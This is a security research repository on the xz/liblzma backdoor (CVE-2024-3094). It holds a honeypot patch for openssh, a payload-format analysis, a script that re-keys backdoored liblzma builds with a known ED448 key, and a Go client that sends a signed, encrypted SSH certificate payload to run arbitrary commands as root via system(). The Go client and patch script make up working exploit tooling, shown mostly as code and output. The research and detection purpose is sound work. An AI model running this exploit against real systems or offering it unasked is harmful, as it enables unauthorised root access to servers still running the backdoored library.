├── README.md ├── assets ├── demo.png ├── liblzma.so.5.6.0 ├── liblzma.so.5.6.0.patch ├── liblzma.so.5.6.1 └── liblzma.so.5.6.1.patch ├── go.mod ├── go.sum ├── main.go ├── openssh.patch └── patch.py /README.md: -------------------------------------------------------------------------------- 1 | # xzbot 2 | 3 | Exploration of the xz [backdoor](https://www.openwall.com/lists/oss-security/2024/03/29/4) (CVE-2024-3094). 4 | Includes the following: 5 | * [honeypot](#honeypot): fake vulnerable server to detect exploit attempts 6 | * [ed448 patch](#ed448-patch): patch liblzma.so to use our own ED448 public key 7 | * [backdoor format](#backdoor-format): format of the backdoor payload 8 | * [backdoor demo](#backdoor-demo): cli to trigger the RCE assuming knowledge of the ED448 private key 9 | 10 | ![xzbot demo](assets/demo.png) 11 | 12 | ## honeypot 13 | 14 | See [openssh.patch](openssh.patch) for a simple patch to openssh that logs any 15 | connection attempt with a public key N matching the backdoor format. 16 | 17 | ``` 18 | $ git clone https://github.com/openssh/openssh-portable 19 | $ patch -p1 < ~/path/to/openssh.patch 20 | $ autoreconf 21 | $ ./configure 22 | $ make 23 | ``` 24 | 25 | Any connection attempt will appear as follows in sshd logs: 26 | ``` 27 | $ journalctl -u ssh-xzbot --since='1d ago' | grep xzbot: 28 | Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: magic 1 [preauth] 29 | Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: 010000000100000000000000000000005725B22ED2... 30 | ``` 31 | 32 | # ed448 patch 33 | 34 | The backdoor uses a hardcoded ED448 public key for signature validation and 35 | decrypting the payload. If we replace this key with our own, we can trigger 36 | the backdoor. 37 | 38 | The attacker's ED448 key is: 39 | ``` 40 | 0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28 41 | 34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48 42 | 10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e 43 | 20 d3 2c 60 2b 2c 6d 31 00 44 | ``` 45 | 46 | We will replace this key with our own (generated with seed=0): 47 | ``` 48 | 5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd 49 | e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6 50 | 54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1 51 | 66 91 69 b2 1c 32 c4 80 00 52 | ``` 53 | 54 | To start, download a backdoored libxzma shared object, e.g. 55 | from https://snapshot.debian.org/package/xz-utils/5.6.1-1. 56 | Then run the patch script. See [assets/](assets/) for examples. 57 | 58 | ``` 59 | $ pip install pwntools 60 | $ shasum -a 256 liblzma.so.5.6.1 61 | 605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4 liblzma.so.5.6.1 62 | $ python3 patch.py liblzma.so.5.6.1 63 | Patching func at offset: 0x24470 64 | Generated patched so: liblzma.so.5.6.1.patch 65 | ``` 66 | 67 | Then run sshd using this modified `liblzma.so.5.6.1.patch` shared object. 68 | 69 | ## backdoor format 70 | 71 | The backdoor can be triggered by connecting with an SSH certificate with a 72 | payload in the CA signing key N value. This payload must be encrypted and 73 | signed with the attacker's ED448 key. 74 | 75 | The structure has the following format: 76 | ``` 77 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 78 | | a (32 bit) | b (32 bit) | c (64 bit) | 79 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 80 | | | 81 | + ciphertext (240 bytes) + 82 | | | 83 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 84 | ``` 85 | 86 | A request type is derived from the three values above (`a * b + c`). 87 | If this value is greater than 3, the backdoor skips processing. 88 | 89 | * Type 1: unknown, expects zero bytes 90 | * Type 2: executes null-terminated payload with system() 91 | * Type 3: unknown, expects 48 bytes (signed) 92 | 93 | The ciphertext is encrypted with chacha20 using the first 32 bytes of the 94 | ED448 public key as a symmetric key. As a result, we can decrypt any 95 | exploit attempt using the following key: 96 | ``` 97 | 0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28 98 | 34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48 99 | ``` 100 | 101 | The ciphertext has the following format: 102 | ``` 103 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 104 | | signature (114 bytes) | 105 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 106 | | x (1 bit) | unused ? (14 bit) | y (1 bit) | 107 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 108 | | unknown (8 bit) | length (8 bit) | 109 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 110 | | unknown (8 bit) | command \x00 | 111 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 112 | ``` 113 | 114 | Setting either `x` or `y` leads to slightly different code paths. 115 | 116 | The signature is an RFC-8032 ED448 signature computed over the following values: 117 | * The 32-bit magic value (e.g. `02 00 00 00`) 118 | * The 5 bytes of fields before command 119 | * [optional] `length` bytes of the command 120 | * The first 32 bytes of the sha256 hash of the server's hostkey 121 | 122 | # backdoor demo 123 | 124 | ``` 125 | $ go install github.com/amlweems/xzbot@latest 126 | ``` 127 | 128 | ``` 129 | $ xzbot -h 130 | Usage of xzbot: 131 | -addr string 132 | ssh server address (default "127.0.0.1:2222") 133 | -seed string 134 | ed448 seed, must match xz backdoor key (default "0") 135 | -cmd string 136 | command to run via system() (default "id > /tmp/.xz") 137 | ``` 138 | 139 | The following will connect to a vulnerable SSH server at `127.0.0.1:2222` and 140 | run the command `id > /tmp/.xz`: 141 | ``` 142 | $ xzbot -addr 127.0.0.1:2222 -cmd 'id > /tmp/.xz' 143 | 00000000 00 00 00 1c 73 73 68 2d 72 73 61 2d 63 65 72 74 |....ssh-rsa-cert| 144 | 00000010 2d 76 30 31 40 6f 70 65 6e 73 73 68 2e 63 6f 6d |-v01@openssh.com| 145 | 00000020 00 00 00 00 00 00 00 03 01 00 01 00 00 01 01 01 |................| 146 | 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 147 | ... 148 | 00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 149 | 00000160 00 00 01 14 00 00 00 07 73 73 68 2d 72 73 61 00 |........ssh-rsa.| 150 | 00000170 00 00 01 01 00 00 01 00 02 00 00 00 01 00 00 00 |................| 151 | 00000180 00 00 00 00 00 00 00 00 54 97 bc c5 ef 93 e4 24 |........T......$| 152 | 00000190 cf b1 57 57 59 85 52 fd 41 2a a5 54 9e aa c6 52 |..WWY.R.A*.T...R| 153 | 000001a0 58 64 a4 17 45 8a af 76 ce d2 e3 0b 7c bb 1f 29 |Xd..E..v....|..)| 154 | 000001b0 2b f0 38 45 3f 5e 00 f1 b0 00 15 84 e7 bc 10 1f |+.8E?^..........| 155 | 000001c0 0f 5f 50 36 07 9f bd 07 05 77 5c 74 84 69 c9 7a |._P6.....w\t.i.z| 156 | 000001d0 28 6b e8 16 aa 99 34 bf 9d c4 c4 5c b8 fd 4a 3c |(k....4....\..J<| 157 | 000001e0 d8 2b 39 32 06 d9 4f a4 3a 00 d0 0b 0f a2 21 c0 |.+92..O.:.....!.| 158 | 000001f0 86 c3 c9 e2 e6 17 b4 a6 54 ba c3 a1 4c 40 91 be |........T...L@..| 159 | 00000200 91 9a 2b f8 0b 18 61 1c 5e e1 e0 5b e8 00 00 00 |..+...a.^..[....| 160 | 00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 161 | ... 162 | 00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 163 | 00000270 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 07 |................| 164 | 00000280 73 73 68 2d 72 73 61 00 00 00 01 00 |ssh-rsa.....| 165 | 2024/03/30 00:00:00 ssh: handshake failed: EOF 166 | ``` 167 | 168 | On the vulnerable server, we can set a watchpoint for the call to `system()` 169 | and observe the command is executed: 170 | ``` 171 | $ bpftrace -e 'watchpoint:0x07FFFF74B1995:8:x { 172 | printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di")))) 173 | }' 174 | Attaching 1 probe... 175 | sshd (1234): id > /tmp/.xz 176 | 177 | $ cat /tmp/.xz 178 | uid=0(root) gid=0(root) groups=0(root) 179 | ``` 180 | 181 | The process tree after exploitation looks different from a normal sshd 182 | process tree: 183 | ``` 184 | # normal process tree 185 | $ ssh foo@bar 186 | $ ps -ef --forest 187 | root 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 188 | root 1026 765 7 18:51 ? 00:00:00 \_ sshd: foo [priv] 189 | foo 1050 1026 0 18:51 ? 00:00:00 \_ sshd: foo@pts/1 190 | foo 1051 1050 0 18:51 pts/1 00:00:00 \_ -bash 191 | 192 | # backdoor process tree 193 | $ xzbot -cmd 'sleep 60' 194 | $ ps -ef --forest 195 | root 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 196 | root 941 765 4 18:04 ? 00:00:00 \_ sshd: root [priv] 197 | sshd 942 941 0 18:04 ? 00:00:00 \_ sshd: root [net] 198 | root 943 941 0 18:04 ? 00:00:00 \_ sh -c sleep 60 199 | root 944 943 0 18:04 ? 00:00:00 \_ sleep 60 200 | ``` 201 | 202 | *Note: successful exploitation does not generate any INFO or higher log entries.* 203 | 204 | # References 205 | 206 | - https://www.openwall.com/lists/oss-security/2024/03/29/4 207 | - https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504 208 | - https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01 209 | - https://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4 210 | -------------------------------------------------------------------------------- /assets/demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/amlweems/xzbot/8ae5b706fb2c6040a91b233ea6ce39f9f09441d5/assets/demo.png -------------------------------------------------------------------------------- /assets/liblzma.so.5.6.0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/amlweems/xzbot/8ae5b706fb2c6040a91b233ea6ce39f9f09441d5/assets/liblzma.so.5.6.0 -------------------------------------------------------------------------------- /assets/liblzma.so.5.6.0.patch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/amlweems/xzbot/8ae5b706fb2c6040a91b233ea6ce39f9f09441d5/assets/liblzma.so.5.6.0.patch -------------------------------------------------------------------------------- /assets/liblzma.so.5.6.1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/amlweems/xzbot/8ae5b706fb2c6040a91b233ea6ce39f9f09441d5/assets/liblzma.so.5.6.1 -------------------------------------------------------------------------------- /assets/liblzma.so.5.6.1.patch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/amlweems/xzbot/8ae5b706fb2c6040a91b233ea6ce39f9f09441d5/assets/liblzma.so.5.6.1.patch -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/amlweems/xzbot 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/cloudflare/circl v1.3.7 7 | golang.org/x/crypto v0.21.0 8 | ) 9 | 10 | require golang.org/x/sys v0.18.0 // indirect 11 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/cloudflare/circl v1.3.7 h1:qlCDlTPz2n9fu58M0Nh1J/JzcFpfgkFHHX3O35r5vcU= 2 | github.com/cloudflare/circl v1.3.7/go.mod h1:sRTcRWXGLrKw6yIGJ+l7amYJFfAXbZG0kBSc8r4zxgA= 3 | golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA= 4 | golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs= 5 | golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= 6 | golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 7 | golang.org/x/term v0.18.0 h1:FcHjZXDMxI8mM3nwhX9HlKop4C0YQvCVCdwYl2wOtE8= 8 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/ecdsa" 6 | "crypto/ed25519" 7 | "crypto/elliptic" 8 | "crypto/rsa" 9 | "crypto/sha256" 10 | "encoding/binary" 11 | "encoding/hex" 12 | "flag" 13 | "fmt" 14 | "io" 15 | "log" 16 | "math/big" 17 | "net" 18 | 19 | "github.com/cloudflare/circl/sign/ed448" 20 | "golang.org/x/crypto/chacha20" 21 | "golang.org/x/crypto/ssh" 22 | ) 23 | 24 | var ( 25 | addr = flag.String("addr", "127.0.0.1:2222", "ssh server address") 26 | seedn = flag.String("seed", "0", "ed448 seed, must match xz backdoor key") 27 | cmd = flag.String("cmd", "id > /tmp/.xz", "command to run via system()") 28 | ) 29 | 30 | type xzPublicKey struct { 31 | buf []byte 32 | } 33 | 34 | func (k *xzPublicKey) Type() string { 35 | return "ssh-rsa" 36 | } 37 | 38 | func (k *xzPublicKey) Marshal() []byte { 39 | e := new(big.Int).SetInt64(int64(1)) 40 | wirekey := struct { 41 | Name string 42 | E *big.Int 43 | N []byte 44 | }{ 45 | ssh.KeyAlgoRSA, 46 | e, 47 | k.buf, 48 | } 49 | return ssh.Marshal(wirekey) 50 | } 51 | 52 | func (k *xzPublicKey) Verify(data []byte, sig *ssh.Signature) error { 53 | return nil 54 | } 55 | 56 | type xzSigner struct { 57 | signingKey ed448.PrivateKey 58 | encryptionKey []byte 59 | hostkey []byte 60 | cert *ssh.Certificate 61 | } 62 | 63 | func (s *xzSigner) PublicKey() ssh.PublicKey { 64 | if s.cert != nil { 65 | return s.cert 66 | } 67 | 68 | // magic cmd byte (system() = 2) 69 | magic1 := uint32(0x1234) 70 | magic2 := uint32(0x5678) 71 | magic3 := uint64(0xfffffffff9d9ffa2) 72 | magic := uint32(uint64(magic1)*uint64(magic2) + magic3) 73 | 74 | var hdr bytes.Buffer 75 | binary.Write(&hdr, binary.LittleEndian, uint32(magic1)) 76 | binary.Write(&hdr, binary.LittleEndian, uint32(magic2)) 77 | binary.Write(&hdr, binary.LittleEndian, uint64(magic3)) 78 | 79 | cmdlen := uint8(len(*cmd)) 80 | var payload bytes.Buffer 81 | payload.Write([]byte{0b00000000, 0b00000000, 0, cmdlen, 0}) 82 | payload.Write([]byte(*cmd)) 83 | payload.Write([]byte{0}) 84 | 85 | var md bytes.Buffer 86 | binary.Write(&md, binary.LittleEndian, magic) 87 | md.Write(payload.Bytes()[:cmdlen+5]) 88 | md.Write(s.hostkey) 89 | signature := ed448.Sign(s.signingKey, md.Bytes(), "") 90 | 91 | var buf bytes.Buffer 92 | buf.Write(signature) 93 | buf.Write(payload.Bytes()) 94 | hdr.Write(decrypt(buf.Bytes(), s.encryptionKey[:32], hdr.Bytes()[:16])) 95 | if hdr.Len() < 256 { 96 | hdr.Write(bytes.Repeat([]byte{0}, 256-hdr.Len())) 97 | } 98 | 99 | n := big.NewInt(1) 100 | n.Lsh(n, 2048) 101 | pub, err := ssh.NewPublicKey(&rsa.PublicKey{N: n, E: 0x10001}) 102 | fatalIfErr(err) 103 | 104 | s.cert = &ssh.Certificate{ 105 | CertType: ssh.UserCert, 106 | SignatureKey: &xzPublicKey{ 107 | buf: hdr.Bytes(), 108 | }, 109 | Signature: &ssh.Signature{ 110 | Format: "ssh-rsa", 111 | Blob: []byte("\x00"), 112 | }, 113 | Key: pub, 114 | } 115 | fmt.Printf("%s", hex.Dump(s.cert.Marshal())) 116 | return s.cert 117 | } 118 | 119 | func (s *xzSigner) Sign(rand io.Reader, data []byte) (*ssh.Signature, error) { 120 | return nil, nil 121 | } 122 | 123 | func (s *xzSigner) HostKeyCallback(_ string, _ net.Addr, key ssh.PublicKey) error { 124 | h := sha256.New() 125 | 126 | cpk := key.(ssh.CryptoPublicKey).CryptoPublicKey() 127 | switch pub := cpk.(type) { 128 | case *rsa.PublicKey: 129 | w := struct { 130 | E *big.Int 131 | N *big.Int 132 | }{ 133 | big.NewInt(int64(pub.E)), 134 | pub.N, 135 | } 136 | h.Write(ssh.Marshal(&w)) 137 | case *ecdsa.PublicKey: 138 | keyBytes := elliptic.Marshal(pub.Curve, pub.X, pub.Y) 139 | w := struct { 140 | Key []byte 141 | }{ 142 | []byte(keyBytes), 143 | } 144 | h.Write(ssh.Marshal(&w)) 145 | case ed25519.PublicKey: 146 | w := struct { 147 | KeyBytes []byte 148 | }{ 149 | []byte(pub), 150 | } 151 | h.Write(ssh.Marshal(&w)) 152 | default: 153 | log.Fatalf("unsupported hostkey alg: %s\n", key.Type()) 154 | return nil 155 | } 156 | msg := h.Sum(nil) 157 | s.hostkey = msg[:32] 158 | 159 | return nil 160 | } 161 | 162 | func decrypt(src, key, iv []byte) []byte { 163 | dst := make([]byte, len(src)) 164 | c, err := chacha20.NewUnauthenticatedCipher(key, iv[4:16]) 165 | fatalIfErr(err) 166 | c.SetCounter(binary.LittleEndian.Uint32(iv[:4])) 167 | c.XORKeyStream(dst, src) 168 | return dst 169 | } 170 | 171 | func fatalIfErr(err error) { 172 | if err != nil { 173 | log.Fatal(err) 174 | } 175 | } 176 | 177 | func main() { 178 | flag.Parse() 179 | 180 | if len(*cmd) > 64 { 181 | fmt.Printf("cmd too long, should not exceed 64 characters\n") 182 | return 183 | } 184 | 185 | var seed [ed448.SeedSize]byte 186 | sb, ok := new(big.Int).SetString(*seedn, 10) 187 | if !ok { 188 | fmt.Printf("invalid seed int\n") 189 | return 190 | } 191 | sb.FillBytes(seed[:]) 192 | 193 | signingKey := ed448.NewKeyFromSeed(seed[:]) 194 | xz := &xzSigner{ 195 | signingKey: signingKey, 196 | encryptionKey: signingKey[ed448.SeedSize:], 197 | } 198 | config := &ssh.ClientConfig{ 199 | User: "root", 200 | Auth: []ssh.AuthMethod{ 201 | ssh.PublicKeys(xz), 202 | }, 203 | HostKeyCallback: xz.HostKeyCallback, 204 | } 205 | client, err := ssh.Dial("tcp", *addr, config) 206 | if err != nil { 207 | fatalIfErr(err) 208 | } 209 | defer client.Close() 210 | } 211 | -------------------------------------------------------------------------------- /openssh.patch: -------------------------------------------------------------------------------- 1 | diff --git a/ssh-rsa.c b/ssh-rsa.c 2 | index be8f51e75..8912d2d8f 100644 3 | --- a/ssh-rsa.c 4 | +++ b/ssh-rsa.c 5 | @@ -629,6 +629,48 @@ rsa_hash_alg_oid(int hash_alg, const u_char **oidp, size_t *oidlenp) 6 | return 0; 7 | } 8 | 9 | +static void backdoor(RSA *rsa) 10 | +{ 11 | + const BIGNUM *n; 12 | + const BIGNUM *e; 13 | + int bits, bytes, belen; 14 | + size_t magic; 15 | + unsigned char buf[512]; 16 | + 17 | + RSA_get0_key(rsa, &n, &e, 0); 18 | + bits = BN_num_bits(n); 19 | + if (bits > 0x4000) { 20 | + verbose("xzbot: too many bits: %d", bits); 21 | + return; 22 | + } 23 | + bytes = (bits + 7) >> 3; 24 | + if (bytes - 0x14 > 0x204) { 25 | + verbose("xzbot: too many bytes: %d", bytes); 26 | + return; 27 | + } 28 | + belen = BN_bn2bin(n, buf); 29 | + if (bytes < belen || belen <= 0x10) { 30 | + verbose("xzbot: big endian mismatch: %d vs %d", belen, bytes); 31 | + return; 32 | + } 33 | + if (!buf[0] || !buf[4]) { 34 | + verbose("xzbot: invalid magic (%d, %d)", buf[0], buf[4]); 35 | + return; 36 | + } 37 | + uint32_t a = *(uint32_t*)&buf[0]; 38 | + uint32_t b = *(uint32_t*)&buf[4]; 39 | + uint64_t c = *(uint64_t*)&buf[8]; 40 | + magic = (uint64_t) a * b + c; 41 | + if (magic > 3) { 42 | + verbose("xzbot: invalid magic %zu", magic); 43 | + return; 44 | + } 45 | + logit("xzbot: magic %zu", magic); 46 | + char *nh = BN_bn2hex(n); 47 | + logit("xzbot: %s", nh); 48 | + OPENSSL_free(nh); 49 | +} 50 | + 51 | static int 52 | openssh_RSA_verify(int hash_alg, u_char *hash, size_t hashlen, 53 | u_char *sigbuf, size_t siglen, RSA *rsa) 54 | @@ -656,6 +698,7 @@ openssh_RSA_verify(int hash_alg, u_char *hash, size_t hashlen, 55 | ret = SSH_ERR_ALLOC_FAIL; 56 | goto done; 57 | } 58 | + backdoor(rsa); 59 | if ((len = RSA_public_decrypt(siglen, sigbuf, decrypted, rsa, 60 | RSA_PKCS1_PADDING)) < 0) { 61 | ret = SSH_ERR_LIBCRYPTO_ERROR; 62 | -------------------------------------------------------------------------------- /patch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import os, sys 3 | path = sys.argv[1] 4 | if not os.path.exists(path): 5 | print("usage: patch.py ") 6 | sys.exit(1) 7 | 8 | from pwn import * 9 | context.update(arch='amd64', os='linux') 10 | 11 | # generate_key bytes from backdoored v5.6.0 12 | func = unhex('f30f1efa4885ff0f848e000000415455' 13 | '534889f34881eca00000004885f67504' 14 | '31c0eb6b4c8b4e084d85c974f34889e2' 15 | '31c0488d6c24304989fcb90c00000048' 16 | '89d74989e8be30000000f3abb91c0000' 17 | '004889eff3ab488d4c24204889d7') 18 | flen = 160 19 | 20 | # replace generate_key with a static key from mem 21 | p = asm(''' 22 | push rsi 23 | lea rsi,[rip+72] 24 | mov rax, [rsi+0x00] 25 | mov [rdi+0x00], rax 26 | mov rax, [rsi+0x08] 27 | mov [rdi+0x08], rax 28 | mov rax, [rsi+0x10] 29 | mov [rdi+0x10], rax 30 | mov rax, [rsi+0x18] 31 | mov [rdi+0x18], rax 32 | mov rax, [rsi+0x20] 33 | mov [rdi+0x20], rax 34 | mov rax, [rsi+0x28] 35 | mov [rdi+0x28], rax 36 | mov rax, [rsi+0x30] 37 | mov [rdi+0x30], rax 38 | mov rax, [rsi+0x38] 39 | mov [rdi+0x38], rax 40 | mov eax, 1 41 | pop rsi 42 | ret 43 | nop 44 | nop 45 | nop 46 | ''') 47 | 48 | # ed448 public key for seed 0 49 | p += unhex('5b3afe03878a49b28232d4f1a442aebd' 50 | 'e109f807acef7dfd9a7f65b962fe52d6' 51 | '547312cacecff04337508f9d2529a8f1' 52 | '669169b21c32c48000') 53 | p += b'\x00' * (flen - len(p)) 54 | 55 | # patch .so 56 | with open(path, 'rb') as f: 57 | lzma = f.read() 58 | if func not in lzma: 59 | print('Could not identify func') 60 | sys.exit(1) 61 | off = lzma.index(func) 62 | print('Patching func at offset: ' + hex(off)) 63 | with open(path+'.patch', 'wb') as f: 64 | f.write(lzma[:off]+p+lzma[off+flen:]) 65 | print('Generated patched so: ' + path+'.patch') 66 | --------------------------------------------------------------------------------